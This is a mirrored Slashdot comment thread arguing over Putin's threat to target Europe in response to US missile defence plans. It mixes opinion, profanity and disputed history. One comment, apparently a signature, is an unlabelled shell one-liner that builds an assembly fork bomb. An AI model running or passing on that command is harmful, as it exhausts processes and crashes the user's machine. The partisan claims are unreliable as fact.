Slashdot Mirror
Putin Threatens US Missile Bases In Europe
Melugo writes to let us know that Russian president Vladimir Putin has warned that US plans to build a missile defense system in Eastern Europe would force Moscow to target its weapons against Europe. This reader notes: "It feels like the Cold War all over again." "'If the American nuclear potential grows in European territory, we have to give ourselves new targets in Europe,' Putin said... 'It is up to our military to define these targets, in addition to defining the choice between ballistic and cruise missiles.'"
In Soviet Russia, you threaten strategic weapons
A game has objectives and is competitive, anything else is just play
Just do the damned trajectory math. It does not work for much anything except stuff being flung from Tehran.
You are a fucking idiot. The reason it would be more effective in defending from Iran than Russia is because Iran has less missiles.
Nothing whatsoever to do with trajectory math. Be glad you posted anonymously.
...makes me wish the EU to take a stronger stand. This isn't the cold war anymore where Europe was divided and I don't appreciate power plays over my head when the EU has more than enough economic might to not have to deal with this crap coming from the USA trying to install weapons in Europe and the Russians reacting to it.
It takes a man to suffer ignorance and smile
Be yourself no matter what they say
Honestly? I kinda of hoped Russia and the US would be past this infantile chest-pounding bullshit 10 or 15 years ago. Bush has played way too much cowboy during his presidency, but for fuck's sake, at least we're behaving somewhat responsibly sober as the only country to ever bear the responsibility for having USED a nuclear weapon in war. Putin's bringing back the cold war in a desperate bid to make Russia once again relevant on the world stage.
When I was a kid, a friend of mine told me stories that Russia had "big guns" pointed at the US and a bunch of other countries. For the life of us, neither of us could figure out why they would do that or why we would point at them. I learned later what a nuclear missile was, of course. It didn't make the thought any less horrible. Worse yet, even as an adult, the posturing and hatred STILL makes no fucking sense, save for its usefulness in inciting fear in the populace to allow you to assert control.
Bush has already found an infinite boogieman (THE TER'RISTS!) to keep people malleable and in fear. Putin could follow that and just get control of his own people, but instead he wants to posture against the world's remaining super power. The only reason I can see to do that instead is to gain control AND gain a place in the world spotlight again.
I just wish threatening to become the most PEACEFUL and least warlike country in the world could get the same amount of attention. Definitely would make me much more willing to listen to somebody.
An attack with those babies will not be stopped by the current generation of missile defense systems. It is _not_ a completely ballistic rocket. In other words predicting, calculating it's trajectory and using all the billions of dollars of infrastructure designed for ballistic missiles is not as useful anymore.
The competition between missile defense and missiles will mostly end up with a win for the missile. This reminds me of the competition between artillery and armor. There are certain artillery shells that no current armor can protect against it.
As many people already pointed out, there is no such thing as a "defensive" weapon. Every new defense upsets the balance of offense, and thus at best initiates an arms race, and at worst enables one side to overpower the other since a shield is in essence a way to decrease the power of the other guy's weapons, preferrably, from the point of view of the party with the shield, to zero. And thus allowing the shield-wielder to strike first, with impunity.
There is no way to predict the future course of history. Not so long ago a majority of Americans would be very offended if you had postulated that the USA will be engaged in invasion and occupation of whole countries based on fabricated evidence and questionable pet theories of deranged ideologues combined with avarice of certain corporate elites. They would be very outraged and incredulous if you had suggested that the USA would be running what essentially amounts to a Gulag network and that its top justice officials would be engaged in "what is the meaning of is" type of parsing of the Geneva Conventions in order to justify torturing the denisens of those Gulags. I could go on.
..the US is all over the planet (not just north america), with military bases in over *one hundred* countries, including an ever widening ring around russia especially on the asian and eastern european side.. In any altercation,from the Russian POV, all of them are legit targets, along with NATO "allies".
I mean, this isn't geographical/political rocket science..err..wait, yes it is
What would the US say and do if Russia was establishing full time bases in Canada and Mexico and setting up missile sites, and so on? See how that works when you stop looking at events one sided, even if you think you are paying attention to the news?
> Look, the ballistic missile defense system is a joke. We already have one; it is called a few thousand nuclear missiles
> that can hit anywhere in the globe.
Two points to consider:
Firstly, not having a nuclear warhead explode over your country is a preferable option than having one go off, then turning its lauchsite into glass.
Secondly, the deterrent value of thousands of nuclear warheads is somewhat lost on religious fanatics who don't care if they and a million other faithful get sent straight to Allah.
Actually, the soviet union collapsed when the regions started having enough political power (due to economic development)
to demand some sort of autonomy.
There was the occupation of the tv-tower in Vilnius as response, causing the vote on the retention of power to slide.
This in turn led to the august coup Which failed,
and forced the supreme soviet to finally give up it's power monopoly.
So I would say, the Soviet Union collapsed, due to economic reform in the vassal states, without political reform to back it.
The funny thing about this way of thinking, is that it fits with the doctrine, that a change in economic power without a change in political influence leads to violent change.
Blah blah sig blah blah blah irony blah blah
Perhaps Putin is afraid of what the US might do if Mutually Assured Destruction was no longer mutually assured? After all, while a good shield can help save lives, it can also cost a lot more if the bearer of the shield no longer has to worry about the consequences of drawing his sword.
The ______ Agenda
Example: Russia places its rockets in Canada, for its own defense of course. What reaction would you expect from the U.S.?
The reasons why putin is so popular at home are simple: When he took office russia was bankrupt, people had lost all their savings, wages and rents were not paid. Since then wages have quadrupled, russia is not just defacto debt free(~debt is at 8 % of gdp), but has currency reserves of over 400 billion dollars plus a stabilization fund of 117 billion dollars. Capital influx reached allready 40 billion dollars jan-may.The economy grew by 7.9 % in the frist quarter. And this growth is now driven by demand, and not longer by the gas and oil sector. Oil and gas revenues now stay in the country, without putin russia would not profit from the high oil prices, all money would end up in western bank accounts like under jelzin. Even birth rates are rising. The so called "opposition" figures like berezovsky and kasparov have no backing in the russian population, they are seen as thieves and hated. Putin brought stability, and the state has regained control over the country, which was lost in 1999. If the politics of the nineties were continued, russia could not exist anymore. In fact, putin saved russia. The west allready believed it was dead, and expanded nato to it's borders and ignored russia's concerns. This time is now over, and the west should accept russia as an equal partner, because without russia most problems we face today can't be solved, and the russian economy is a huge market for western goods. Russia can help us in many spheres, but has also the capability to create giant troubles for the west. As an european i don't want to see a europe full of weapons. I don't believe we have the right to interfere with russia's internal affairs - everytime the west tries to enforce so called "democracy" another desaster happens, just look at afghanistan, iraq and the political crises in the ukraine. Putin is no angel, and he makes difficult decisions which might look bad to the west, but are right from a russian perspective. Russia suffered more than most countries(for example it lost more people than any other country in WWII), and it's no germany, it's much bigger, it has over 100 nationalities, and has/had problems you can not solve with a western style government, just look how difficult it is for an european government to make just the simplest reforms. It's time for the west to make concessions, to get russia back in our boat, we need it to fight terrorism, as a market, for resources, and to solve all other outstanding issues. Russia is pragmatic, you can have everything from them if you respect them, and in contrast to the us which wants to control the whole world, russia only wants a backyard without foreign troops to feel save. Russia is back.
Thanks for the warning. When I buy my next house I'll make sure to put in aircon units that works as heat pumps as well. In case the gas supply fails and electric power stays up.
I'm sort of hoping the Russians will do something like this soon. Nothing like a few days without heat to increase public support for nuclear energy.
X.
Honestly, I don't get it. Both why Putin would make an ass out of himself like this, and why we need missile defense systems in Europe. But then again, I'm not a fan of the military of any country. I fail to see its utility, when the money involved could be put to better uses.
Still, sounds like more politicians trying to flex their muscles.
Ok, time for my weekly conspiracy theory:
Why did the Cuba crisis start? According to a recent Documentary on the Discovery Channel (Not the best of sources I know but this time it told the story from the Russian POV as well) it went something like this:
I don't think Putin & Co and Bush and his people. are trying to provoke a war any more than JFK and Khrushchev were. They simply are so entrenched in their respective preconceptions that GWB for example can't accurately assess what effect it will have to plant a missile defense system in Russia's back yard and that Russia has no effective answer to. I don't doubt that the Americans honestly intend this system mainly to defend against missile attacks from rogue states such as N-Korea and Iran, they would be insane if they really intended it to upset the MAD balance with Russia. But Putin & Co, who also seem to be unable to accurately assess US intentions for various reasons, see this as the first step in an attempt to create a situation where the US can nuke them but they can't respond so they have reacted in their own way which is to re-heat the cold war with new missiles. If the US and Russia continue to provoke each other the only thing it will achieve is to m
In my opinion, the US has made an ass out of itself by declaring a War on Terrorism that cannot be won (and is guaranteed to make things worse), and apparently I am no longer in the minority, according to recent polls.
"Launches of what?"
Launches of suborbital missiles that fly over Africa, Antarctica, Pacific Ocean, North Pole, and in the end fall on Europe flying over Poland.
Or the ones that make a big circle through Russia or Atlantic Ocean and come back to Europe from North.
Check location of Europe on the map. Check location of Iran. Then check location of Poland. Then try to draw possible trajectories of missiles launched from Iran, flying to most of Europe, that could be intercepted by missiles from Poland.
45 5F E1 04 22 CA 29 C4 93 3F 95 05 2B 79 2A B2
A military is needed to protect the civilian populations from situations like that occurring presently in northern Lebanon. The civilian population in the camp is suffering because no military was present to prevent an armed organization installing itself in it's midst. In an ideal world, no such forces would be present but as we do not live in an ideal world, we will always need armed forces to protect the sheep from the wolves.
Democracy is a sheep and two wolves deciding what to have for lunch. Freedom is a well armed sheep contesting the issue
After WWII Russia clearly was expansionist - Stalin used the oppportunity to seize lots of countries. But that was 60 years ago under a pyschopath. Then again, the initial assumption of the Bolsheviks was that they WOULD need to force worldwide revolution. But the hard core of Bolsheviks rapidly dissappeared too.
So wait is Stalin bad (expansionist, psychopathic dictator) or good (the hard code of Bolsheviks rapidly disappeared) ?
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
So what you are saying is Ron Paul for President?
Money is the root of all evil?
Maybe you will see the military as important when you are being shot in the face because some dictator in la la dictator land decides to invade your country. It is apart of human history that we fight. Yes I do agree that being able to spend the money supporting something else would be beneficial. But we still live in the dark times of human stupidity and having no military would be a death wish. Not everyone's emotions have caught up with their intelligence. This could take some time to accomplish
(IANAL)
I'm not so sure about that. Russia controlled Eastern European states via Puppet governments. The US (and the UK) has done a very similar thing. For example, removing the democratically elected leader of Iran and replacing him with the Shah. Then there is US control over Cuba via various leaders which came to an end with Castro. There can be no doubt that the US has tried to control governments in Central and South America and this has lead to violent backlashes, e.g. the Sandinistas in Nacaragua.
Perhaps one difference is that US control tends to have more of an economic drive to it. For example, when the government of Guatemala was considering policies that the United Fruit Company didn't like, they went to the US government for help. This culminated in a huge propaganda campaign and an eventual coup against the Guatemalan government. Yes, a government was overthrown by a US company worried about its bananas. It's not always about oil, but it's usually about greed in some way.
The parent post was referring to, I think, the military junta under Papadopoulos, during 1967 - 1974. The junta had close connections with the CIA and opened Greece to US espionage bases and missile launch sites. Papadopoulos was a fascist and admirer of Hitler. Bill Clinton has made a public apology for the US support of the regime.
Never express yourself more clearly than you are able to think. --Niels Bohr
While I am no socialist, if you take a look at the UN Human Development Index, you will notice that Cuba actually scores pretty well for the region. Certainly a lot better than a dozen countries which have had the "blessing" of being under the American boot.
But yes, be sure to take only the "top" as a proof. It certainly makes you look better than looking at the whole picture.